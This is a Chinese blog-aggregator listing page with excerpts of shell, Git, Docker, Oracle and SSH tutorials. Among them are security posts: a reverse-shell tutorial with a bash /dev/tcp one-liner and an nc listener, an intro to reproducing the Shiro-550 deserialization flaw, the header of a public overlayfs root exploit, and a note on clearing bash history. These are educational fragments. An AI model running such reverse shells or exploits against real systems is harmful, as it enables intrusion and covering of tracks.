ICode9

精准搜索请尝试: 精确搜索
  • 『忘了再学』Shell基础 — 2、Shell的作用与分类2021-12-18 21:33:30

    目录1、Shell的作用2、Shell的分类 1、Shell的作用 Shell除了能解释用户输入的命令,将它传递给内核,还可以: 调用其他程序,给其他程序传递数据或参数,并获取程序的处理结果。 在多个程序之间传递数据,把一个程序的输出作为另一个程序的输入。 Shell本身也可以被其他程序调用。 由此可

  • SHELL2021-12-18 19:32:54

    练习题网站 执行脚本方式 +x权限 bash source source不开启子进程,其他两种会开启子进程 bash和source无需x权限 重定向输出信息 重定向正确输出 > /dev/null 重定向错误输出 2> /dev/null 重定向所有输出 &> /dev/null 自定义变量 a=10 echo ${a}RMB //{}用于隔开变

  • 【高危】Shiro-550反序列化漏洞复现2021-12-18 15:03:34

    声明:文章所提供的内容和工具仅供于个人学习和研究,严禁传播者利用本文章的相关内容进行非法测试。由于传播、利用此文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。 1、Apache Shiro介绍 Apache Shiro是一个强大且易

  • crontab执行feat_gen.sh时,报错找不到pyspark2021-12-17 22:00:30

    crontab执行feat_gen.sh时,报错找不到pyspark module解决办法:在bash脚本中添加source ~/.bash_profile这一行在行首。其中在~/.bash_profile中配置好PATH和PYTHONPATH(把$SPARK_HOME下的python加到PYTHONPATH中即可) feat_gen.sh: source ~/.bash_profile python3 ~/cust_loss_feat

  • oracle11G的安装2021-12-15 17:35:04

    ORACLE 11G安装手册 1.前期准备 linux虚拟机配置:内存>=4G ,硬盘空间>=60G oracle 11G安装包 2.安装过程 具体过程在安装手册中有写,手册环境为redhat,centos7环境其实更简单 centos7中不需要安装httpd服务,只需要安装对应依赖即可。 安装过程分为三步: 1.安装数据系统:各种进程以及服务

  • 反弹shell2021-12-15 10:04:42

    反弹 shell的几种方式 linux文件描述符:linux shell下有三种标准的文件描述符,分别如下: 文件描述符缩写描述0STDIN  标准输入1STDOUT标准输出2STDERR标准错误输出 bash反弹 shell 靶机: bash -I >&/dev/tcp/192.168.1.1/9999 0>&1 攻击机: nc -nvlp 9999 命令注入直接获取一个

  • Linux的删除history的方法2021-12-13 15:04:03

    Linux的删除history的方法 history --help 查看历史的命令 history 查看最后15行 history | tail -n 15 重新执行第number条命令 !numeber 其余的我不想介绍。我只介绍如何删除history记录 删除当前会话的历史记录 history -c 这种删除只会删除当前会话的历史记录,下次

  • Git安装教程2021-12-12 18:30:01

    Git 安装官网地址: https://git-scm.com/​ 点击Download for Windows​ 查看 GNU 协议,可以直接点击下一步​ ​ 选择 Git 安装位置,要求是非中文并且没有空格的目录,然后下一步。​ ​ Git 选项配置,推荐默认设置,然后下一步。​ ​ Git 安装目录名,不用修改,直接点击下一步。​ ​

  • ssh连接超时时间(ssh timeout)的设置方法2021-12-10 16:35:36

      本文介绍下,linux中ssh连接超时时间的设置方法,以避免总是被强行退出。有需要的朋友,参考下吧。 有关修改ssh连接超时时间的方法,网上介绍的很多了。 比如下面这个:可以减少ssh连接超时等待的时间:方法:ssh -o ConnectTimeout=3 192.168.0.10或修改sshd_config文件里面的UseDN

  • Shell编程2021-12-09 21:32:08

    Shell编程 1. 编写shell脚本 # 号开头注释#!指定运行环境 #!/bin/bash # -n 显示信息时不自动换行 echo -n "hello,world" # `` 用于命令替换,将扩起来额字符串视为命令执行,并将输出的字符串在原地展开 echo -n "用户名 `whoami` " 2. 运行shell脚本 给脚本添加执行权限 (假

  • Git问题:Git clone 时遇到fatal: protocol 'https' is not supported问题解决方案2021-12-08 16:01:47

    Git问题:Git clone 时遇到fatal: protocol 'https' is not supported问题解决方案 复现 widows中Git Bash 里执行 clone命令报错protocol ''https'' is not supported 原因 在粘贴地址时使用了 CTRL +V, 在Git Bash中没有效果,然后我们就会使用右键菜单中的粘贴,但是不幸的是,使用 CT

  • Shell之set 命令2021-12-07 11:32:24

    set命令是 Bash 脚本的重要环节,却常常被忽视,导致脚本的安全性和可维护性出问题。本文介绍它的基本用法,可以更健壮地使用 Bash 脚本。 一、简介 我们知道,Bash 执行脚本的时候,会创建一个新的 Shell。 $ bash script.sh 上面代码中,script.sh是在一个新的 Shell 里面执行。这个 Sh

  • docker存储卷管理2021-12-07 10:04:19

    COW机制 Docker镜像由多个只读层叠加而成,启动容器时,Docker会加载只读镜像层并在镜像栈顶部添加一个读写层。 如果运行中的容器修改了现有的一个已经存在的文件,那么该文件将会从读写层下面的只读层复制到读写层,该文件的只读版本依然存在,只是已经被读写层中该文件的副本所隐藏,这就

  • 39166.c2021-12-06 22:00:46

    ​ /* just another overlayfs exploit, works on kernels before 2015-12-26 # Exploit Title: overlayfs local root # Date: 2016-01-05 # Exploit Author: rebel # Version: Ubuntu 14.04 LTS, 15.10 and more # Tested on: Ubuntu 14.04 LTS, 15.10 # CVE : CVE-2015-866

  • git命令自动补全2021-12-06 19:32:51

    git社区,找当前机器对应版本源码 git源代码下有个 contrib/completion 目录,有个 git-completion.bash 文件 https://github.com/git/git/tree/v2.24.0/contrib/completion 单个用户自动补全,没root账号的情况 将该文件git-completion.bash复制到个人主目录(~)下 注意:复制时,文

  • deepin下安装java开发环境2021-12-05 20:01:18

    配置java java8 配置环境变量 sudo vim /etc/profile JAVA_HOME=/home/ding/environment/jdk1.8.0_311 CLASSPATH=.:$JAVA_HOME/bin.tools.jar PATH=$JAVA_HOME/bin:$PATH export JAVA_HOME CLASSPATH PATH 使配置生效 source /etc/profile java -version sudo vim /etc/bash

  • 使用bash给文件夹内所有.jpeg文件包括子目录下.jpeg文件重命名2021-12-05 16:33:04

    使用bash给文件夹内所有.jpeg文件包括子目录下.jpeg文件重命名 代码运行效果 代码 废话不多说直接代码: #!/bin/bash Number=1; for name in `ls -R ~/桌面` do if [ ${name:0-1} == ":" ]; then cd ${name%:} fi

  • shell 创建函数2021-12-05 15:58:59

    有两种格式可以用来在bash shell脚本中创建函数。第一种格式采用关键字function,后跟分配给该代码块的函数名。 function name { commands } name属性定义了赋予函数的唯一名称。脚本中定义的每个函数都必须有一个唯一的名称。 commands是构成函数的一条或多条bash shell

  • Mac安装M1芯片版本miniconda流程2021-12-05 15:34:42

    之前似乎只能通过miniforge来安装支持MI芯片的conda,现在conda官方也更新了支持M1芯片的miniconda 下载地址:https://conda.io/en/latest/miniconda.html 选择M1版本bash文件下载 终端cd到下载目录下,bash命令执行下载的sh文件 bash Miniconda3-py38_4.10.1-MacOSX-arm64.sh 运行

  • 后台运行脚本2021-12-05 14:31:47

    以后台模式运行shell脚本非常简单。只要在命令后加个&符就行了。 $ cat test4.sh #!/bin/bash # Test running in the background # count=1 while [ $count -le 10 ] do sleep 1 count=$[ $count + 1 ] done # $ $ ./test4.sh & [1] 3231 $ 当&符放到命令后

  • 删除Linux Terminal中的历史记录2021-12-05 13:06:42

    在用户的Home目录下有个.bash_histiory文件。 1. 删除部分历史记录 通过vim或者其他编辑器打开记录 vim ~/.bash_history 滚动光标到指定行,敲dd删除行命令即可删除只能行内容记录,然后:wd 退出即可 2. 删除全部记录 通过键入命令: echo > ~/.bash_history 删除当前用户的所有记录,

  • git 入门教程之 git bash 竟然不支持 tree 命令2021-12-04 11:04:32

    git 入门教程之 git bash 竟然不支持 tree 命令 tree命令包下载地址:https://jaist.dl.sourceforge.net/project/gnuwin32/tree/1.5.2.2/tree-1.5.2.2-bin.zip git bash 是 Windows 用户安装 git 时默认安装的命令行工具,不仅界面漂亮功能也不错,大多数情况下可以替代 Wind

  • linux - mac环境变量2021-11-30 11:33:52

    1. 文件 首先,检查你的默认shell是什么,echo $SHELL。以前每个新用户的默认shell是/bin/bash,使用.bash_profile;而新版本的macOS Catalina开始,新用户的默认shell改为了zsh,对于zsh,使用.zshrc。再检查终端中的便好配置,在通用中是否设置了特殊的shell。  我的mac是macOS Catalina系统,s

  • linux 设置字符集和语言环境2021-11-30 11:00:10

      1. 全局字符集语言环境 $cat /etc/locale.conf LANG=zh_CN.UTF-8 (需root权限)修改为GBK #echo LANG=zh_CN.GBK>/etc/locale.conf 字符串‘LANG=zh_CN.GBK’覆盖到文件 #source /etc/locale.conf 激活配置文件   2.用户字符集语言环境 $echo LANG=zh_CN.UTF-8>>~/.b

  • Shell脚本执行报错:Syntax error: "(" unexpected2021-11-29 15:33:24

    先说解决方案: 执行命令: ln -fs /bin/bash /bin/sh # 将/bin/sh重新指向/bin/bash        问题描述 三消项目启动前需要进行一系列的编译、orm中间件生成等操作,都是通过shell脚本执行的,但是在一次制作tars-node镜像时,shell脚本出现了错误信息:     原因分析 可以确认的

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有